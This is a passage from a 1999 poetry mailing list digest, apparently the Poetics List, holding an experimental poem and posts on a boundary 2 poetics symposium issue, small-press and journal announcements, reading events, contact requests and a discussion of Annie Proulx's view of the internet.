It was mass cruelty

The dream is the truth up the road towards way off
They act and do

Words walking without masters
New ones would have to be made and said

Alphabet, don't you know
They got me up in they mouth

They got a name to gnaw on
They don't come kiss and named me names

Now they got to look into me loving
sanctum beglamored whispery wide

pearl stone palm walk switches
raped and raked and scraped

You don't even know where the ham is at
a cook-pot text on/off got

in quotation, a green and an orange
rolling in blue lacy be like the sun the day

Maybe if somebody was to show me how
words float around in thought and thought on sound

wrongside throbbing calm, lemonade swabbed
protolapsis Ocala crayon

The sisters got mock happy
She slept with authority in the town mind

and the town bowed down
and passed around the pictures of their thoughts

Everyone indulged in Mule Talk
The age, its disposition and his caper

passle of the world for a carcass or a canvas
Sam or Walter or some of the other

Big Picture Talkers
Some folks spelt from what she knew about

Everybody was going to the dragging-out
writing off the offending hand like a hen on a hot brick

A war of defense for helpless things
A Free Mule in town was something new to yak about

rawbony back, he almost got fat
New lies sprung up about his Free Mule doings

and the grief he left behind him
Our departed citizen, our most distinguished citizen,

speak to us of the joys of Mule Heaven,
sky of rye and a river of molasses

Here he was just pouring honor all over her
They were holding a flying-meet

way up over the heads of the mourners
and her hair was NOT going to show

It was a contest in hyperbole and carried on
She was a wind on the ocean orange grove, Post Office too

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137. L. MacMahon and T.R. Healy

boundary 2 Apologies for Cross Posting

Wed 9 Jun 1999

---

boundary 2 99 Poets/1999: An International Poetics Symposium a special issue edited by Charles Bernstein volume 26 number 1 spring 1999 Duke University Press ISSN 0190-3659 281 pages $12

From the introduction: Quote Starting in 1997, with the help of several coeditors, I asked poets from around the world to respond to a series of interrelated questions … Do you see your work in the context of a national state, or in the context of international capital, or in some other context (including imaginary or imagined ones)? Is identity an important issue for your work, and if so, in what senses? For me, these issues have a specific connection to the possibilities or impossibilities for poetic language (so often identified with specific groups, states, or classes): diction, vernacular, dialect, sound, syntax, and so forth. … I asked one alternative question: What do you see as the most urgent, yet insufficiently recognized, or addressed, issue or issues for poetry and poetics at this moment? Unquote

These open-ended provocations resulted in a substantial resource. There's a great deal to think about and enjoy over time, but here are some snippets to be going on with.

Quote I am interested in what confines each generation inside themes, metaphors, theoretical and stylistic attitudes. I imagine the passion of the language that is allowed to escape from this. The turbulence that cracks open history. The desire that consumes the common places. I imagine the interior urgency that forces the liquidation of an era's truisms. Unquote Nicole Brossard If this isn't inspiring, I don't know what is.

In a piece which purports to be a description of the experience of standing at a bus stop, cris cheek seduces the reader into exploring possible ways in which

the text is being constructed, by the writer and the reader. A kind of Heraclitean exploration in which the reader cannot dip into the same text twice.

Seeking to learn lessons from the more adventurous spirits in advertising, Jerome Sala writes Quote This is the genre of ad that you see more and more of these days which, in order to sell its products, trashes advertising itself, and its long history of hype. … one can't help but wonder if there isn't something poetry could learn from this strategy devised by its prodigal sons and daughters whom, cultural critics often argue, are squandering the riches of their verbal inheritance in the foreign land of the commodity - that barbarian locale to which most poets deny their citizenship). After all, hasn't there been too much inflated hype about poetry? And haven't its own promoters, poets and literary theorists been complicit in a sin any advertising creative director will warn you against - that of the "overpromise"? Does so much really depend upon a red wheelbarrow? Can it possibly carry the weight of historical profundity you'd like to place in it? Unquote. A mini manifesto embodying some of these fiery proposals follows.

Johanna Drucker has edited a visual poetry section, for which she has written a very useful introduction. One of these, by Steve McCaffery, struck me straightaway: a row of 20 a's, typewritten so the line isn't quite straight, followed by same row overtyped on a row of b's followed by same row overtyped on a row of c's and so on for 26 rows. The increasing density of ink is extraordinarily expressive. Contrast this with the palindromic arrangements of Alexandr Bubnov, formally beautiful in the fascinatingly lifeless way of a periodic crystal.

Being the responses of poets they sometimes decline the more glacial academic tones:

Quote Present day manifestations of 'the Russian Avant Garde' seem to me to be unconscionably conformist in their aspiration, with a ludic aim of 'arranging' a civilized hell. One may be obliged to live in hell but that doesn't mean one has to accept it as something necessary and indisputable. Unquote Gennady Aygi

Quote Spanish poetry is characterized by its lack of critical rigor its inward-looking nature. Cesar A. Molina has described Spanish poets as a group of whining mourners buried in their own traditionalism & social neorealism, all the while engaging in endless navel gazing. Manuel Brito

Form and technical questions receive considerable attention. Quote COLLAGE, its core innovation, foreseen by Lautreamont late in the previous one. It cut the time lines, taught us a new history, and yet is also graft, a rearrangement of arborescent structures, trees as always already roots / trunk / branches, even when cut and rearranged, say branches / trunk / roots, the

heavenly tree grows downward in polarities we can no longer afford, if we ever could. Unquote Pierre Joris.

Quote The destitution of the essence of poetry largely results from our excessive attention to the phenomenal part of poetry. And most of us who are now interested in form have arrived at this interest by way of a revision of the past, when the content was overemphasized. The art of poetry, if standing on either side of the extremes, cannot possibly develop in any significant way. To me, as a poet devoted to the revolution of form, with mature conditions and enough talent, I would transcend the phenomena of poetry and march directly toward the essence. Unquote Che Qianzi

Quote By hybridising, I don't mean a mixing, or a production of a third-party alternative from a set of specific material. A hybrid is not a possible next stage in a developmental sense, nor a 'dilution' of the component parts! Nor is it a fusing of traditions. It is, in fact, a conscious undoing of the codes that constitute all possible readings of a text. It is a debasement of the lyrical I … It recognises frames for what they are: empty shells. Unquote John Kinsella

The question of translation is a living presence:
Quote Thinking and translating are for me almost synonymous words. Unquote Nelson Ascher

Issues of identity and politics recur, an interesting context given by Robin Blaser. Quote the serious or ramshackle poet in us hasn't a chance at being apolitical, even if the elf of his or her language wishes to be. Unquote

Quote There is another kind of experience I sometimes have when reading the words of authors who never imagined that someone like me might be included in the potential audience for their work, as when I read in Cirlot's Dictionary of Symbols that a "Negro" symbolizes the beast in the human. When I read words never meant for me, or anyone like me - words that exclude me, or anyone like me, as a possible reader - then I feel simultaneously my exclusion and my inclusion as a literate black woman, the unimagined reader of the text. Unquote Harryette Mullen.

There are some very useful historical surveys, essays and mini-anthologies, from a wide number of different countries. You'll find some idiosyncratic (perhaps the least power centred of the 'cracies) pieces which avoid categorisation

Quote: Nothing for the magician is accidental / All that could possibly happen to the magical prop is intrinsic to it and knowing "all that" (could possibly happen) to the prop is what constitutes a magician's knowledge / The event is the adventure of that moment Unquote Lyn Hejinian

What do you want me to say? It's a huge book and I'll be reading it, with pleasure, anger and inspiration, for years. I've omitted loads because any time I've tried to skim through for an overview I keep sinking in one or other entrancing contribution. Marvelous stuff.

Randolph Healy

Visit the Sound Eye website at:
http://indigo.ie/~tjac/sound_eye_hme.htm

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138. christopher t funkhouser hss fac/staff

*new NEWARK REVIEW: _ALLAH MEAN EVERYTHING! Thus Spake Amiri Baraka_*

Wed 9 Jun 1999

A n n o u n c i n g

NEWARK REVIEW Volume 2, set 4:

_ALLAH MEAN EVERYTHING!
Thus Spake Amiri Baraka_

A long prose-poem in two parts, with a drawing by the author (Amiri Baraka), comprises the latest issue of _NEWARK REVIEW_.

http://megahertz.njit.edu/~newrev/v2s4

*

"Everything is the one, the whole, to understand this is what holiness means. It is the hoarders of the earth, who grasped the earth's flowers like what we had been before climbing the mighty tree, and so could see the sky, could see the sea where we had been, could look down on the ground and declare ourselves, finally, more than it. But they who carried the earth with them, like the dead, were buried under it, took dirt with them, even as the women taught the rest of us, how to stand up straight, and dig the scattered eyes of stars of the other part of our wholeness, where surely we would go and be."

*

"Nero means black, was he like Stuff Smith You been to
Cambodia, Satchmo whole family up on the side of the mountains."

*

"And the world had changed. They said Pain Pain Pain, the other half of The mask. They could have all they need but they had not learned how to ask. Nor to bathe. That's bad they said, We Bad said we. Nature had put on different clothes everywhere new eyes for your nose. It is our home, not a forest but a

garden. And the animals the women taught To be with us, give us milk, and honey, and clothes and food, no longer Must we roam the forests everyday, for a mouth full of food the only pay."

*

"It must remain a mystery for a few to rule the many. For the hundreds to rule the billions. Everything is a mystery except you got to go to work so you can remain poor and never understand much. Go through the world and never under stand a thing. Except you got to go to work. Go to church all your life and never understand. It's a fraud, a vicious joke. There is Evil and there is good, but not no God and they who say they know God worship the Devil."

*

"If Dahmer kept a diary it would be a holy book for Cannibals."

*

NEWARK REVIEW, edited by Chris Funkhouser, is published by the Department of Humanities and Social Sciences at New Jersey Institute of Technology. email: [redacted]

Back issues available online: http://megahertz.njit.edu/~newrev

Vol. 2, set 1: Jacob Rabinowitz, Enid Dame, Burt Kimmelman, Joel Lewis, Betsy Robin Schwartz, Bob Rixon, Mark Smith, Nancy Steffen-Fluhr, Nikki Stiller, T. Degnan West, Ed Smith, Bill O'Sullivan

Vol. 2, set 2: David Rothenberg / _The Zone_

Vol. 2, set 3: Elisa Biagini, Sandra Cassey, Cara Mia Ciasulli, Alex Cigale, Andy Clausen, Norbert Elliot, Lisa Fitton, Gina Hertel, Flora Higgins, Barry Jackson, Richard Loranger, Ben Polsky, Holli Schorno, Jim Smethurst, Ed Smith, George Taylor

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139. Ron Silliman

Stein review

Wed 9 Jun 1999

After being down for several hours, the NY Times website returned, with the following excellent review of a play on Gertrude Stein:

http://www.nytimes.com/yr/mo/day/news/arts/gertrude-stein.html

Ron

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

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140. Alan C Golding
Total Syntax, and thanks
Wed 9 Jun 1999

I'm afraid I've forgotten who it was who was looking for a copy of *Total Syntax* (the whole book, presumably)--but if you backchannel me with an address, I can send you a decent xerox copy that I have sitting around--not quite the real thing, I know . . .

And thanks to everyone who responded with suggestions re my "Poetry and Pedagogy" inquiry: I'm working with a number of your ideas for poems.

Alan

_____

Alan Golding
University of Louisville

[redacted]

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141. Billy Little
Re: Reznikoff
Wed 9 Jun 1999

didn't Reznikoff write some labor history as well?

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy
[redacted]
zonko

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142. Poetics List
call for work - read.me / Sullivan
Wed 9 Jun 1999

this came to the administrative account. Chris

From: "Gary Sullivan" <[redacted]>
Date: 6/9/99 12:49 PM -0400

r e a d . m e

What: read.me is a new journal of mostly interviews, some essays, reviews & appreciations
Where: online, via http://www.columbia.edu/cu/history/detour/readme; elsewhere (stores, at readings in NYC, etc.) in hardcopy
When: Fall 1999, to continue quarterly thereafter
Why: We like interviews & there's not a lot out there, especially of younger poets/artists
Who: You, you & all of you

We are especially looking for INTERVIEWS with younger poets, writers & artists. The first issue will include an appreciation of the life/writing of the late Daniel Davidson, an interview with Alan Sondheim, a piece on John Wieners by Jack Kimball & more ... Please send proposals, completed interviews, essays, reviews, appreciations, &/or books for review to:

readme.txt
558 11th Street, #1B
Brooklyn, NY 11215
email: [redacted]

↑ Index

143. Alan C Golding
Job Opening
Wed 9 Jun 1999

We've had two last-minute one-year asst. professorships come open at the University of Louisville. 3/3 load, Ph.D. and teaching experience required, a range of undergraduate comp and lit teaching. Letter, vita, dossier to Debra Journet, Chair, Dept. of English, Univ. of Louisville, Louisville, KY 40292 by 6/30. Feel free to drop my name, as long as you don't break it.

Lisa Samuels, whom many of you know, had one of these jobs last year and I think was
pretty happy here. I don't know what the salary is but the
company's charming and L'ville is a cheap
and livable city.

Alan

Alan Golding
University of Louisville
[redacted]

↑ Index

144. Rodrigo Toscano
KRUPSKAYA PRESS
Wed 9 Jun 1999

KRUPSKAYA is pleased to announce the publication of its first four books.

All books are available through Small Press Distribution, Berkeley. To order call toll free: [redacted], in the Bay Area call [redacted] or [redacted]

Steven Farmer _Medieval_ 128 pages, $9, ISBN 1-928650-00-7 "The real deal, Steven Farmer's poetry has been read and listened to closely with delight by other California poets for at least 17 years. A major book is long, long overdue. He has a superb Western ear, a classic sense of line and stanza, a subtle mind that knows precisely what it sees and understands (and, even more rare, the ability to articulate that which it cannot) and a wry wit that makes it very difficult indeed to read these pages without a smile. The balance and turns in these poems makes me dizzy with envy." -Ron Silliman

Dan Farrell _Last Instance_ 61 pages, $9, ISBN 1-928650-01-5 "In Last Instance, Dan Farrell poses the relations between social reproduction and expression through stuttered and sutured acts of composition. His historically located and disclosed forms clash and mingle with social evidence, instigating transpositions at the level of the letter, syntactical order, and semantic sensibility. Rather than hailing the ruse of subjective plenitude and unfettered expressivity, his compositions rely on perlocutionary acts engaging language in its nonreferential capacity to elicit and provoke action and response." -Nancy Shaw

Elizabeth Fodaski _fracas_ 78 pages, $9, ISBN 1-928650-02-3 "Elizabeth Fodaski's fracas grabs attention, then holds, examines, and explodes the attentions it attracts. This work is both elegant and playful, sardonic and amused. A din, a brawl, a noisy quarrel. It instructs, implores, and navigates a level of writerly inquiry that's a joy to encounter. From the heady, generative tumble of "Flood Watching" to the studied and gorgeous language of "Paper Daybreak" and "ETYMOLOGIES," fracas rocks." -Jessica Grim

P. Inman _at. least._ 102 pages, $9, ISBN 1-928650-03-1 "Hardly anything seems strange enough anymore- "reality. as. a. normative. effect," -at least P. Inman still works the front lines. With evidence shimmer, no things but in

letters & space & punctuation, politically paying off perforation. This arranges tantalizing raw (& V-effected) materials for us to construct (& live in) a life, a milieu. With zero bluster- "language. larger" -contra code everywhere, a clip-o-matic audacity & atomic redlining to thrill. . . . Not to complacently cooperate with a fetish or impress with imagery & optic sugaring, not to wield massageish 'content' to represent something already built, an institutionalized titanic humanizing the pin-ups or invoice behavior as contentment as containment. The already is uninhabitable. Let's de boss!" -Bruce Andrews

For information about KRUPSKAYA (not ordering), please contact Rodrigo Toscano, [redacted] or Jocelyn Saidenberg, [redacted]

Rodrigo Toscano

↑ Index

145. pete spence
Re: Boris Vian & Serge Gainsbourg reading/music/video event
Wed 9 Jun 1999

Jacques Debrot if you could e-mail me sooner or very sooner/pete spence

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

146. Kevin Magee
Re: BARAKA'S ALLAH / June 12 Event Announcement
Wed 9 Jun 1999

From Cleveland's "Events & Reviews, News for Readers from Mac's Backs June 1999":

"Poetry Duet. Saturday, June 12 at 7 p.m. Last year poets Albertine Boclear and Kevin Magee gave a fine reading, an intimate expression of their relationship with words and each other. They will be back for an encore performance, trading poems and stories."

Some form of an introduction is in order.

In a better world, the red carpet (flag!) will be rolled out for every writer arriving from the working class, especially for every writer arriving by way of the Trade Unions.

Albertine Boclear returns to Mac's Backs this Saturday after 20-plus years first as a line worker at a GE plant organized by the UAW, and then as an operator for Ohio Bell/Ameritech organized by the CWA.

Born and raised in Cleveland, Albertine started writing several years ago after enrolling in Capital University's Adult Education Program here, and is currently working on a first book of poems and a first book of short stories. As a teenager, after hearing his Ballot or the Bullet Speech, she walked up to Malcolm X standing with a few supporters on the sidewalk in a once-Muslim district of Cleveland, who held her hand for a moment and asked her about herself; she served one year in the Breakfast for Children auxillary of the Black Panthers; and then raised three children of her own.

Will Alexander's crucial intervention at the 1993 New Coast Conference i.e., "Why aren't there any women of color here?" echoed by Renee Gladman at the Page Mamas, as reported by Kevin Killian, on the subject of anthologies and minorities and representation (it's not about affirmative action, but social justice), are not addressed perhaps as much at the organizers of conferences and editors of anthologies as they are at the larger (tremendous) problem of institutional frameworks like the University reflected recently on this list in a passing (symptomatic) reference by a bourgeois feminist i.e., "I don't mean to rehearse Poetry 101 here."

As if Poetry 101 were a space that could be taken for granted. As if everyone who arrives at the Art of Poetry has the privilege to register for Poetry 101.

Class dynamics. The essays by Lorenzo Thomas and Maria Damon in CLOSE LISTENING provide important counter-positions to the problems posed by the space called Poetry 101. What powerful social and economic mechanisms dictate who gets to sit in what precious space whether called workshop or art school.

Albertine as I'm leaving (re Event Note: Transcendental Friend's First Anniversary), "I've got feelings too."

ALTAR
  for Stephen Jonas

She
that morning star so unlike
those that sovereign the night
slumps
against stone whiteness
inlaid with glass blocks.
Her faith as wide and firm
all day she lives on them
from a coarse hewn weather grained
leather used hued smooth valise
wrapped in a tatty shawl.
Diaphanous gauze against chrome air.

Hyacinths melt in her hand
flowerings from 8 summers ago
of late May rain.

Continues hallucinated even though
she looked full upon him blue dry and hissing
each syllable erect unripe fruit firm
and tastes the last supper
memory in her mouth weight as a garment
vigils for the next breaking of bread.

With gilded face cleft by cleft
beneath a touch of plumped toque astray
beneath a touch of paisley round her neck
comes solemnly to the well.
Each sun's revolution defines this phase
no different than the rest holds hope.
I mumble to myself on paper mute.
She to herself on street corners articulate.
Dialogues diverse dialects between me and She.

Albertine Boclear
[redacted]

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147. derek beaulieu / house press

new: mclennan's "the wiser" and whitehead's "Kokopelli"

Wed 9 Jun 1999

---

housepress is pleased to announce the release of 2 new chapbooks in our chapbooks series:

rob mclennan's "the wiser"
- a series of landscape poems gathered in a handbound numbered edition of 50 copies. $4.00 ea.

ron whitehead's "kokopelli" - a long poem by the poet that allen ginsberg called a "energetic bodhsattvic poetic spirit". handbound edition of 50 numbered copies printed on southwark 24lb watermarked 25% cotton paper with linocut front and back covers by derek beaulieu. very few copies - please contact the housepress for more information.

either of these books may be ordered thru housepress at:
[redacted]

yrs
derek beaulieu
housepress

↑ Index

148. Brian Stefans
The Naif and the Bluebells: full version live
Thu 10 Jun 1999

The full version of my web-poem, along with much new material (two full Saroyan books, Hausmann sound files, etc.), is now at Kenneth Goldsmith's ubu site, which can be reached at:

http://www.ubu.com

There are some problems with the html which make it look pretty horrible on a Mac, and until we get this fixed, Mac users can check out the full version at:

http://www.bway.net/~arras

Some notes: -- only 4.0+ browsers will be able to get through the full version as some of the javascripts will not work (I haven't had the time or resources to debug on all browsers, and not even sure if they will work on 3.0) -- if you are running a 4.0+ browser and get a script error, then the files (most likely the images) haven't fully downloaded; let the files finish and then inter-activate -- remember that the files are cached, so you can look at it again later at a much quicker speed (provided you don't clear you cache) -- there are some embedded tricks in the pages, such as mouse-activated java poems, clickable areas in the images and text masses, etc., that you should watch out for, but don't crazy with it -- if nothing's happening, then nothing's there (hint: the black dots always work eventually) -- re: "Atlanta", I take what appears a dig at Atlanta, but I really do like what's happening there, the poetry group and the ideas; read the "Credits" page to gather what I mean

The poem is dedicated to Kenny and Cheryl's new baby, Finnegan Francis Donegan Goldsmith, born this past Friday, May 29th.

↑ Index

149. Lowther,John
HEADLINES
Thu 10 Jun 1999

---

these sent to me by a friend, Dana Lustig

_____

funny, even if it is 2 years old...

THE BEST HEADLINES OF 1997 ARE.....

Include Your Children when Baking Cookies
Something Went Wrong in Jet Crash, Expert Says
Police Begin Campaign to Run Down Jaywalkers
Safety Experts Say School Bus Passengers Should Be Belted
Drunk Gets Nine Months in Violin Case
Survivor of Siamese Twins Joins Parents
Iraqi Head Seeks Arms
Prostitutes Appeal to Pope
Panda Mating Fails; Veterinarian Takes Over
British Left Waffles on Falkland Islands
Lung Cancer in Women Mushrooms
Eye Drops Off Shelf
Teachers Strike Idle Kids
Clinton Wins on Budget, But More Lies Ahead
Enraged Cow Injures Farmer With Axe
Plane Too Close to Ground, Crash Probe Told
Miners Refuse to Work after Death
Juvenile Court to Try Shooting Defendant
Stolen Painting Found by Tree
Two Sisters Reunited After 18 Years in Checkout Counter
Killer Sentenced to Die for Second Time in 10 Years
Never Withhold Herpes Infection from Loved One
War Dims Hope for Peace
If Strike Isn't Settled Quickly, It May Last a While
Cold Wave Linked to Temperatures
Deer Kill 17,000
Enfields Couple Slain; Police Suspect Homicide
Red Tape Holds Up New Bridges
Typhoon Rips Through Cemetery; Hundreds Dead
Man Struck By Lightning Faces Battery Charge
New Study of Obesity Looks for Larger Test Group
Astronaut Takes Blame for Gas in Spacecraft
Kids Make Nutritious Snacks
Chef Throws His Heart into Helping Feed Needy
Arson Suspect Held in Massachusetts Fire
Ban on Soliciting Dead in Trotwood
Local High School Dropouts Cut in Half
Hospitals are Sued by 7 Foot Doctors

↑ Index

150. **Pritchett,Patrick**
query
Thu 10 Jun 1999

Does anyone an email, snailmail, or phone number for Joseph Lease?
Please backchannel - thanks.
Patrick Pritchett
[redacted]

↑ Index

151. **Brian Stefans**
Wang Ping's e-mail
Thu 10 Jun 1999

Does anyone have Wang Ping's e-mail address, or know of a way to reach her? I'd like to get some work by the poet Yan Li, who's in the anthology she's edited, for Arras.

Cheers,
Brian

↑ Index

152. **Ron Starr**
diastext
Thu 10 Jun 1999

Does anyone have or know where to find a program called DIASTEXT?

It implements a form of Mac Low's diastic text generation. I had a copy of it years ago, didn't transfer it to the new machine, and have (thus) lost it. Checking my usual net places to find such things hasn't turned it up.

Thank you in advance for any help.

- Ron Starr ([redacted])

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153. **Jacques Debrot**
Re: Contact Info: Johanna Drucker
Thu 10 Jun 1999

Does anyone have an email, snailmail, or phone number for Johanna Drucker? If so, please backchannel.

Thanks in advance.

Jacques Debrot

↑ Index

154. Lawrence Upton.
(no subject)
Thu 10 Jun 1999

In a recently published article by Annie Proulx, she is quoted as saying: . "I rarely use the internet for research, as I find the process cumbersome and detestable. The information gained is often untrustworthy and couched in execrable prose. It is unpleasant to sit in front of a twitching screen suffering assault by virus, power outage, sluggish searches, system crashes and the lack of direct human discourse." . I quite enjoyed this odd view of the internet and wondered if I could sell her some I.T. consultancy. Also I was entertained by the idea of power outages occurring, to such an extent that one could not complete a web search. . Everything else looks exaggerated to me, but I can only go on my experience of electrical supply in Europe. Serious question: to what degree is power outage a problem in America?. I don't know where she is based, but I hadn't thought that it was much of a problem in normal times i.e. outside of major storms and occasional accidents. But it would be useful to me because of something related I am looking into to know for sure. Tell me, this is largely junk, isn't it? . . Lawrence Upton

↑ Index

155. Patrick F. Durgin
Scott Keeney
Fri 11 Jun 1999

> Sorry for the interruption, but: Anyone got a contact for Scott Keeney?
>
> Thanks: Patrick F. Durgin

↑ Index

156. Alan Sondheim
THEFT ON PURLMOO BECAUSE #1 IS NOT UNIQUE
Fri 11 Jun 1999

.+.

THEFT ON PURLMOO BECAUSE #1 IS NOT UNIQUE

Bodee Lost in Bodee-Buda as Bodi Tre-Form Hells You see Bodei, Bedei, #934, #895, #1, Girl, Boy, Bodi, Bodi, Bodi, Bodi, Bodi, Bodi, Bodi, Bodi, #1, Bodee, Bedee, and Budi here. >> There is no text installed .... yet. You say, "Because someone has stolen my words. " You say, "Because someone has cut out my tongue." Nikuko knows Because of Bodi-Proliferation Do now With Me Nikuko

knows Because #1 is not Unique Now Do FOLO O COME FRO I BODEE BOY You say, "Because of Whom and to and for Whom." You say, "Because My Mouth is a Running Sore"" You say, "Because Dead and Become" Nikuko says Still: Bodee Lost in Bodee-Buda as Bodi Tre-Form Hells You see Bodei, Bedei, #934, #895, #1, Girl, Boy, Bodi, Bodi, Bodi, Bodi, Bodi, Bodi, Bodi, Bodi, #1, Bodee, Bedee, and Budi here.

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157. Katie Degentesh

THURSDAY, JUNE 17

Fri 11 Jun 1999

9x9 INDUSTRIES PRESENTS

VLAD POGORELOV, born and raised in the Ukraine, USSR, where he studied medicine before moving to Philadelphia. He currently writes and performs in both English and Russian. He is the poetry editor of Siren's Silence, a journal of literature and art. The author of _Derelict_ (Repossessed Head Publishing House), he currently resides in San Francisco.

and

KLIPSCHUTZ, author of _The Good Neighbor Policy_ and _The Erection of Scaffolding for the Re-Painting of Heaven by the Highest Bidder_ (End of the Century Books). His work has also appeared in the LA Weekly, the San Francisco Poets Calendar, the Ed Norton Anthology, Black Buzzard Review, the Bad Attitude Anthology and many other books and magazines. He is a probationary member of the Vocational School of Poetry and a songwriting member of the Living Wrecks.

with special guest

SONIA WHITTLE, born and raised in New Rochelle, NY, finalist in the 1999 San Francisco and East Bay Slam Championships.

READING/PERFORMING AT Adobe Bookshop, Thursday, June 17, 1999 3166 16th St. (at Guerrero), San Francisco 8PM, FREE

COMING NEXT MONTH:

JUST LIKE SCHOOL, 9X9's Adobe Series will take a two-month summer vacation. See you in September.

9X9 INDUSTRIES http://www.paraffin.org/nine/

[redacted]

WE DON'T LIKE POEMS
THAT ARE LIKE POEMS!

WE WANT YOUR THURSDAY EVENINGS.

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158. Billy Little
Re: SERIAL DIAGRAM
Fri 11 Jun 1999

There's a diagram of the serial poem in the back of the Collected Books of Jack Spicer edited by Robin Blaser p.358. It's part of the questionaire for Robert Duncan's workshop in Basic Techniques. Blaser says Spicer chose the spiral rather than the hierarchy when he came to answer for the "tree or Contellation" of poetry

DComerford asked:
>
>Has anyone ever come across a diagram of the serial form?
>I'm reading Conte's UNENDING DESIGN and working on the serial form in oz
>poetry. One of oz's excellent cultural theorists, Stephen Muecke,
>writing on the stories of an Aboriginal writer, Butcher Joe, writes that
>the series is a "nomadological feature, like that of travelling through
>the coutnry, one place after another, and a chain of stories, 'and then
>... and then ... and then'."
>
>The diagram I have in my mind when I attempt to illustrate (explain) the
>serial poems I'm working with is a spiral. Now the spiral is very much
>a part of the Australian Aboriginal and Torres Strait Island
>cultures....
>
>any thoughts?
>
>regards
>deb

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy
[redacted]
zonko

↑ Index

159. rebecca wolff
Re: back issues of Fence
Fri 11 Jun 1999

Now that our third issue is out, I'd like to rid my house of our second issue.

So if you'd like a copy of Fence #2, with work in it by:

Jane Miller, Susan Wheeler, Elizabeth Robinson, Muriel Rukeyser, Rosmarie Waldrop, Molly Peacock, Brenda Hillman, Laura Mullen, Bruce Conner, John Yau, Brian Lennon, Mary Jo Bang, Charles Bernstein, Matthea Harvey, Geoffrey O'Brien, Noelle Kocot, Lee Ann Brown, Walid Bitar, Julia Slavin, C.D. Wright, Chris Stroffolino, and Donald Revell

Please send a check for $4 made out to Fence Magazine Inc. to:

Fence
14 Fifth Avenue, #1A
New York, NY 10011

Thanks.

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160. Maryanne Del Gigante
(no subject)
Fri 11 Jun 1999

Lawrence

Tell me, this is
>largely junk, isn't it?

Yup, tis

i have forged incredible ties, incredible learning through the net

people who have given me a whole new way of seeing, thinking,

and i wonder what is influencing Annie to have her say that the experience is negative

mah!
(italian for 'who would know?")

MDG

↑ Index

161. KENT JOHNSON

Anthology re-issue

Fri 11 Jun 1999

Beneath a Single Moon: Buddhism in Contemporary American Poetry, ed. by Kent Johnson and Craig Paulenich, will soon be put back into print by Shambhala. The book will be available for order through the press and all major on-line sellers.

The book carries an introductory essay by Gary Snyder. Among the 45 poets included (most entries come accompanied by an essay): Steve Benson, Olga Broumas, John Cage, Alan Davies, Diane di Prima, Norman Fischer, Margaret Gibson, Allen Ginsberg, Susan Griffin, Sam Hamill, Jim Harrison, Michael Heller, Jane Hirshfield, Robert Kelly, Jackson Mac Low, George Quasha, Jed Rasula, Leslie Scalapino, Andrew Schelling, Armand Schwerner, Gary Snyder, Charles Stein, Lucien Stryk, Nathaniel Tarn, Anne Waldman, Philip Whalen. ---------- "Beneath a Single Moon makes for startling reading: it provides incontrovertible evidence as to the strength and richness of Buddhist thought, and especially of Buddhist practice, in contemporary American poetry. Our Buddhist poets, like Buddhism itself, are by no means all of a piece; it is their range and variety that is especially impressive. the individual essays by the poets themselves are especially helpful. This is an outstanding, scholarly anthology that should have wide readership." --Marjorie Perloff

"This intelligent anthology provides compelling evidence of a continuing preoccupation in American thought, from Emerson, Thoreau, and Whitman to the poets here represented. It is the human search for a locating home, transcendent yet literal, always here even if nowhere. The complexly common voices of these writers are an insistent call to our own need, to let go of our 'lives' and so live them."--Robert Creeley

"Vivid, diverse, multitudinous-- the poems gathered herein are both evidence and celebration of the wild flowering of Buddhism in America. A splendid collection."--Rick Fields, author of _How the Swans Came to the Lake: A History of Buddhism in America_

"We needed an extensive survey of the influence of Buddhism in contemporary American poetry, and this anthology generously fills that need."--Wendell Berry

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162. Alan Sondheim

Re: your mail

Fri 11 Jun 1999

I've never had difficulties with power outtages or viruses - ever. But I do read my email in linux/unix which tends to be virus-proof - in fact you can dissect them nicely.

Re: searches - I advise people to look at http://www.google.com/ - things are getting better.

Re: writing style - she hasn't read mine - or yours - or or or... Some people just never learn.

No wonder she writes postcares.

Alan

http://www.anu.edu.au/english/internet_txt - partial mirror at http://lists.village.virginia.edu/~spoons/internet_txt.html co-moderator Cyberculture, Cybermind, Fiction of Philosophy (fop-l)

↑ Index

163. Poetry Project

Fwd: Sandbox #7 - PROTEST

Fri 11 Jun 1999

---------- Begin Forwarded Message ----------
Date: 06/10 5:04 PM
From: sylvie myerson, [redacted]
To: [redacted]

CALL FOR SUBMISSIONS: SANDBOX #7 - PROTEST

http://www.sandboxarts.org

Sandbox, A Magazine of Creative & Subversive Play is currently looking for contributors for issue #7 on the theme of PROTEST. We are particularly interested in ideas such as “UNAUTHORIZED” use of physical public space by artists/activists as well as the APPROPRIATION AND ALTERATION OF IDEAS which are released into the public realm through media & advertising. We are looking for visual artists, performance artists, musicians,digital artists, filmmakers, writers and activists whose work encompasses these 2 ideas, creating art that weaves interaction and experimentation together with political content. This is a particularly hot topic for those of us who live in NYC under the Giuliani administration’s repressive “QUALITY OF LIFE” policy but we are also interested in looking beyond NY at what is going on elsewhere. Other

related ideas might include: creating & preserving community gardens, recycling urban waste material to create artwork, sampling & altering work created by others, graffiti art, airwave piracy, hacking, satire & parody...

Please forward our call for submissions to anyone who might be interested. Contact our editor, Sylvie Myerson, asap if you have an idea for a project for this issue (article, interview, visuals, fiction, documentation of artistic project). The release of the magazine will be accompanied by a performance/installation event in the fall. All contributors will be invited to take part in the event and will receive 5 copies of the magazine.

DEADLINES: First draft - July 15th/Final draft - August 15th.

OTHER FORTHCOMING PROJECTS: - A Webzine release is also projected for the Fall of 1999. Any suggestions for original material or links to other relevant websites are appreciated.

- Magazine Issue #8 on the theme of SOUND is projected for Spring of 2000. PLease contact our office if you are interested in participating.

Sandbox Magazine
PO Box 150098
Brooklyn, NY 11215

The Magazine, Webzine & Performance/Installation events are projects of Sandbox Open Arts, a not-for-profit arts organization whose mission is to provide a forum for experimentation in the visual arts, the performing arts, the digital arts and literature with particular emphasis on interactive and multimedia work. Sandbox explores the connections between art, culture and society. Past issues of the magazine have featured: Spalding Gray, William Gibson, Sheree Rose & Bob Flanagan, Charles Gatewood, The Burning Man Festival, & Coney Island’s Sideshows by the Seashore.

